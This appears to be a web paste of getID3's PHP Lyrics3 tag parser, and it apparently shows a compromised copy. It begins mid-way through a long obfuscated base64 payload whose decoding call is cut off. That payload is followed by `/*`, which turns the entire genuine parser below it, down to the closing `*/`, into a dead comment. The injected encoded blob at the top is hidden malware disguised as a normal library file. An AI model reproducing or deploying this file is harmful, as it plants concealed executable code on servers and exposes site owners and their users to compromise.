acTJyelRzc0txcENGWG5UTlNLbFFsSTJkdWtObUhiY2FLU3I5aDBtK3duMnliRmZZYmF0aCt3NlBCeGRuZUtad0EwZmp3TnhUNHV0UEF2ZmtOK2ZPZGFaVHpoMHBqTVF2Rm1nY21veHpKbEJ5cVQ4dkJZNmFrZVB0ZzJYVHJJa1VkTVlneWVoSzViaitZZ0tDY2xtZ1hhM1hVQ0RLcG8zMnVGSnRNVlA1UzJLVnRncC91WXF1KzFLeU1IUzZ2ZDlMZWsvT0NjQU9LK0o2eHFyZzF2bGY1elFQclF1VXcwcnZXNDUySUhUblIzQSt1OHg2UHIrSmVKczMwdTlPMmNYQzNkMk4vUExvN2JMeVo5dHhmNXA4L3ZnbGYvanF0OXhzWHc0dkdMNzliamZlMTQzbnQ3WnRYM3VqenE5Tzdrdy9lN1BQSDA4R25qNmMzUFhkNC9ldjdONi9mZStIODQ5bjFjUEI2UHZ6OHl2UGU3cjdaNzAvZTNQUi85NGR2ZHZmN1BmZGdTamhlditBNFBoN2RmR3BFOVB0anc1dTkzVDE5Y1hGdGYvanc1NzU5dUx0emJYM1l2Lzc4K21CNjhQcjIrY0dyMCtubnM2RjcrdkhOWFcvajRPZUQzVjlISDE4OWRkK2VoMGU3N3VtOFAvNmwxdnV6UGdHYStPL0dtMmU5OFg0RVpTYjJxNlA1bTd2cmYwTjcvdXcxam9MUEgzLzFMMnEvdkR5cnZiODQzSDN4NjZuM3k1dnphL3A5Zmw0N092eFlQN3E0dUg3LzR2eHNQZ1Jhb2I3VG03ZG5MNTRQZGw4QVRSZit3Zlg3TzZqajd0amR1VDU0ZnpzN2NBbjM3NzNHczlubkQwZTF0L3RISjcvV292MzN1MVNlMnJkRStaditxL2N6S0h0eHV1Y2RRL3ZkRS9jejBYUDYvbGZlempHTXk0ZW4va1g5ZE8rOGp2UXVoamw5LytZc0YyWnk5S3kvY2VyMW9HL0VlUDlwN2U1RTFsbWZ4dWRUNC9ZR3hwMXduRjA4emFSaDNieXVvN0MzY2VSeG10K2ZYVUE3U0hHQ1VTZTcrTlNqZUdiNTF4ZTEwZjc1M3Z5WEEvY1gxL3J3RkxBUGg0Y2ZybDJzemZyd2FmaDI3d1hOaG9PWDgrRTdtRlhPM1F2UGVlWFYzcjdjbXg3ZnZmZ2xiM2IyeGUrMysrL0NOOTZMVng5cjNqRzBHbjdUaUF5QStyUFRpLzJqdzFlMlo0dVIvVFR4WnA4KzFHRzIyclZQR3p1VHQ4b01QdGg5OC9MVGgyZTFnMWRIZDU4LzdOYytuNzBRTStnVVp6UE5LUGhOYWIyTkYxUXZ6S3gzTUlQRURMZzlQNi8vY25iNi92MDUxTHQzdW44UVFsdXdITFQ1MlRYQ2M1cHhwcjhaUUQvNGIvYjJ6MDdybjN2djltdmgyY1d6RnpDT1p4OXIrOGNmenE2VmxiRGovdHJZbjltN0wyaldITHlHZnljeFRhSDE4YWhHcytCdS9xY3k4NFlIMTBlajN1VFhZZStWOTZlZExiZGh2ZkpDV0RHM1VBYSsvVGVmUGh6OS92a2p0R3Z2Nk9UOCttbDRRYXZJZndQajR4K2NEYS83cjd6cmt3K2ZiL3JqY0NyTDdINUk2T3ZCU2p4NFJmbnV3U3R2ZkxBN2hOWHdmZ3h0OXo3RENzZnlOSk9HMTIrZy83eWUrK0w4L2Q3cG0zTjM3cDdzZm41NVhudDJmUEI3SnYva1BZenB3ZTlQeDcvV2ZqaytKOXF4WHByNXcyVG1Ieng1YzAxMDA1emEvZFdEK2ZQKzk0UGQwL096dmZmdnpuZVRmdW0vaHJrSi9jTHh4WDFMOFBiSFV5OHVzdytyVmRBalZnUXZJOUkrZnh4TjdkMmRPZFgzc1FZcnJkWldaSkZSdlNONDh1SllKYnJKd0dRd1ZVSllYbW5lUmN6ZWRHcHlIMXZrS0tFZ1NoNWVIdEJyVVZpWTlBWUx2Wm1zd3pKZEQwZnNjdW9FM3BkRUFZcEJwVTdRYVFRckRHaUZLR0oxM2taOVkrUGZLUlZZZHFPT0l4MDlwbkY5MlRqK09GWjFLYlpVYzJHVFd4T2JITXR0cDNpcVc5eFM0YjFCTVJWSVhPeWM3cjA3UHQvcjdyeDhlWXE2QVFQNjREL1liL0k4bmJuRlRYdzRKYzhQMGF5bnNocHhLV2V1MlBjTXlGRTY4d05JeVVTcUptRnpsampRanIyQno4dXFQL1Y1WlZzTC9seUNpalJmMy9QRVMwR2V4eUNjcy95NmQxQXkxcVB4ZEwwM3JVNDlvNkp1SENTbG9HZXNOdVBlcGd3Y1BwYUFzN1FXamRVNzY3WnpzNDV6aHh5VHNoOHo0bkxvT2M2MFZGZVUxN3BFaHpVbURxNk1hY2lzMlMzN2l3MERaOG80bFJTaERvVTZJMk90Uk42UDFCYVZXOFdkME05MFFsOTBnaWFhTGV5SGZtNC9HRm8wdy8rTmp1ay9vbVA2U3NkOGcxQjd1bHRLdkZmcnZuQnhybHRLYUhOalJrOUhVUk14SFUyNzlGVXFWeUFEUDBWVVlaa3RQbmsrRUtIbGZ6Zzc3c0tTUHpzNFBzTHMwQm80WTVqNGxMZnRUbHg4N2xneU1iazdwaUR2UEtnMWQwL3FCQ0RZVTBBalN3L1o2TUF5ejhadGlnTXFwRHlWaWlBNnluVWM5OWZlNWYxQ0ovUE1rdVo1cEM5UGdTdWFSWXNyNW5XQWpKTFFFanBDcDM4d0dmaHhPSzBjS2g4Z0pOV2d2b1ZSM3FHWHVsaW9DRks2Y3IyUExRT01UVkp2ZFdKK0hIczhBeDdQczNERGZWcDd5bzc4aU8yajNvNXZ1TlBPK2NoaGdRT0g5VEJ5YkhaeGVzam1lTHNBWUFNRWd3Mko0U2JEeExZRDB4cExiZlk2cjNsUVJDWjhoS3lRanVpVFB3dll3UW53L1Y1Q2piSTVVQmdmOUVNYW9CT2h1UXVyc09lZ28wTGFodEVBQUFydXZ6aEFNRjdYQ04yS2Nmak96aFI5YWpPK1V6RXJZamtOcG4ySFBhOXRyc3RTbTZUejZkRFc4algyQjVqVllBNEdnMWJXS1IrbTRxVUY0VEJhL3djPSIpKSk7')); /*
  64. $lyrics3offset = $info['filesize'] - $lyrics3size;
  65. $lyrics3version = 2;
  66.  
  67. } else {
  68.  
  69. if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) {
  70.  
  71. $this->fseek($info['ape']['tag_offset_start'] - 15);
  72. $lyrics3lsz = $this->fread(6);
  73. $lyrics3end = $this->fread(9);
  74.  
  75. if ($lyrics3end == 'LYRICSEND') {
  76. // Lyrics3v1, APE, maybe ID3v1
  77.  
  78. $lyrics3size = 5100;
  79. $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size;
  80. $info['avdataend'] = $lyrics3offset;
  81. $lyrics3version = 1;
  82. $info['warning'][] = 'APE tag located after Lyrics3, will probably break Lyrics3 compatability';
  83.  
  84. } elseif ($lyrics3end == 'LYRICS200') {
  85. // Lyrics3v2, APE, maybe ID3v1
  86.  
  87. $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
  88. $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size;
  89. $lyrics3version = 2;
  90. $info['warning'][] = 'APE tag located after Lyrics3, will probably break Lyrics3 compatability';
  91.  
  92. }
  93.  
  94. }
  95.  
  96. }
  97.  
  98. if (isset($lyrics3offset)) {
  99. $info['avdataend'] = $lyrics3offset;
  100. $this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size);
  101.  
  102. if (!isset($info['ape'])) {
  103. if (isset($info['lyrics3']['tag_offset_start'])) {
  104. $GETID3_ERRORARRAY = &$info['warning'];
  105. getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true);
  106. $getid3_temp = new getID3();
  107. $getid3_temp->openfile($this->getid3->filename);
  108. $getid3_apetag = new getid3_apetag($getid3_temp);
  109. $getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start'];
  110. $getid3_apetag->Analyze();
  111. if (!empty($getid3_temp->info['ape'])) {
  112. $info['ape'] = $getid3_temp->info['ape'];
  113. }
  114. if (!empty($getid3_temp->info['replay_gain'])) {
  115. $info['replay_gain'] = $getid3_temp->info['replay_gain'];
  116. }
  117. unset($getid3_temp, $getid3_apetag);
  118. } else {
  119. $info['warning'][] = 'Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)';
  120. }
  121. }
  122.  
  123. }
  124.  
  125. return true;
  126. }
  127.  
  128. public function getLyrics3Data($endoffset, $version, $length) {
  129. // http://www.volweb.cz/str/tags.htm
  130.  
  131. $info = &$this->getid3->info;
  132.  
  133. if (!getid3_lib::intValueSupported($endoffset)) {
  134. $info['warning'][] = 'Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB';
  135. return false;
  136. }
  137.  
  138. $this->fseek($endoffset);
  139. if ($length <= 0) {
  140. return false;
  141. }
  142. $rawdata = $this->fread($length);
  143.  
  144. $ParsedLyrics3['raw']['lyrics3version'] = $version;
  145. $ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
  146. $ParsedLyrics3['tag_offset_start'] = $endoffset;
  147. $ParsedLyrics3['tag_offset_end'] = $endoffset + $length - 1;
  148.  
  149. if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') {
  150. if (strpos($rawdata, 'LYRICSBEGIN') !== false) {
  151.  
  152. $info['warning'][] = '"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version;
  153. $info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN');
  154. $rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN'));
  155. $length = strlen($rawdata);
  156. $ParsedLyrics3['tag_offset_start'] = $info['avdataend'];
  157. $ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
  158.  
  159. } else {
  160.  
  161. $info['error'][] = '"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead';
  162. return false;
  163.  
  164. }
  165.  
  166. }
  167.  
  168. switch ($version) {
  169.  
  170. case 1:
  171. if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') {
  172. $ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9));
  173. $this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
  174. } else {
  175. $info['error'][] = '"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead';
  176. return false;
  177. }
  178. break;
  179.  
  180. case 2:
  181. if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') {
  182. $ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ
  183. $rawdata = $ParsedLyrics3['raw']['unparsed'];
  184. while (strlen($rawdata) > 0) {
  185. $fieldname = substr($rawdata, 0, 3);
  186. $fieldsize = (int) substr($rawdata, 3, 5);
  187. $ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize);
  188. $rawdata = substr($rawdata, 3 + 5 + $fieldsize);
  189. }
  190.  
  191. if (isset($ParsedLyrics3['raw']['IND'])) {
  192. $i = 0;
  193. $flagnames = array('lyrics', 'timestamps', 'inhibitrandom');
  194. foreach ($flagnames as $flagname) {
  195. if (strlen($ParsedLyrics3['raw']['IND']) > $i++) {
  196. $ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1));
  197. }
  198. }
  199. }
  200.  
  201. $fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author');
  202. foreach ($fieldnametranslation as $key => $value) {
  203. if (isset($ParsedLyrics3['raw'][$key])) {
  204. $ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]);
  205. }
  206. }
  207.  
  208. if (isset($ParsedLyrics3['raw']['IMG'])) {
  209. $imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']);
  210. foreach ($imagestrings as $key => $imagestring) {
  211. if (strpos($imagestring, '||') !== false) {
  212. $imagearray = explode('||', $imagestring);
  213. $ParsedLyrics3['images'][$key]['filename'] = (isset($imagearray[0]) ? $imagearray[0] : '');
  214. $ParsedLyrics3['images'][$key]['description'] = (isset($imagearray[1]) ? $imagearray[1] : '');
  215. $ParsedLyrics3['images'][$key]['timestamp'] = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : '');
  216. }
  217. }
  218. }
  219. if (isset($ParsedLyrics3['raw']['LYR'])) {
  220. $this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
  221. }
  222. } else {
  223. $info['error'][] = '"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead';
  224. return false;
  225. }
  226. break;
  227.  
  228. default:
  229. $info['error'][] = 'Cannot process Lyrics3 version '.$version.' (only v1 and v2)';
  230. return false;
  231. break;
  232. }
  233.  
  234.  
  235. if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) {
  236. $info['warning'][] = 'ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data';
  237. unset($info['id3v1']);
  238. foreach ($info['warning'] as $key => $value) {
  239. if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
  240. unset($info['warning'][$key]);
  241. sort($info['warning']);
  242. break;
  243. }
  244. }
  245. }
  246.  
  247. $info['lyrics3'] = $ParsedLyrics3;
  248.  
  249. return true;
  250. }
  251.  
  252. public function Lyrics3Timestamp2Seconds($rawtimestamp) {
  253. if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) {
  254. return (int) (($regs[1] * 60) + $regs[2]);
  255. }
  256. return false;
  257. }
  258.  
  259. public function Lyrics3LyricsTimestampParse(&$Lyrics3data) {
  260. $lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']);
  261. foreach ($lyricsarray as $key => $lyricline) {
  262. $regs = array();
  263. unset($thislinetimestamps);
  264. while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) {
  265. $thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]);
  266. $lyricline = str_replace($regs[0], '', $lyricline);
  267. }
  268. $notimestamplyricsarray[$key] = $lyricline;
  269. if (isset($thislinetimestamps) && is_array($thislinetimestamps)) {
  270. sort($thislinetimestamps);
  271. foreach ($thislinetimestamps as $timestampkey => $timestamp) {
  272. if (isset($Lyrics3data['synchedlyrics'][$timestamp])) {
  273. // timestamps only have a 1-second resolution, it's possible that multiple lines
  274. // could have the same timestamp, if so, append
  275. $Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline;
  276. } else {
  277. $Lyrics3data['synchedlyrics'][$timestamp] = $lyricline;
  278. }
  279. }
  280. }
  281. }
  282. $Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray);
  283. if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) {
  284. ksort($Lyrics3data['synchedlyrics']);
  285. }
  286. return true;
  287. }
  288.  
  289. public function IntString2Bool($char) {
  290. if ($char == '1') {
  291. return true;
  292. } elseif ($char == '0') {
  293. return false;
  294. }
  295. return null;
  296. }
  297. } */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement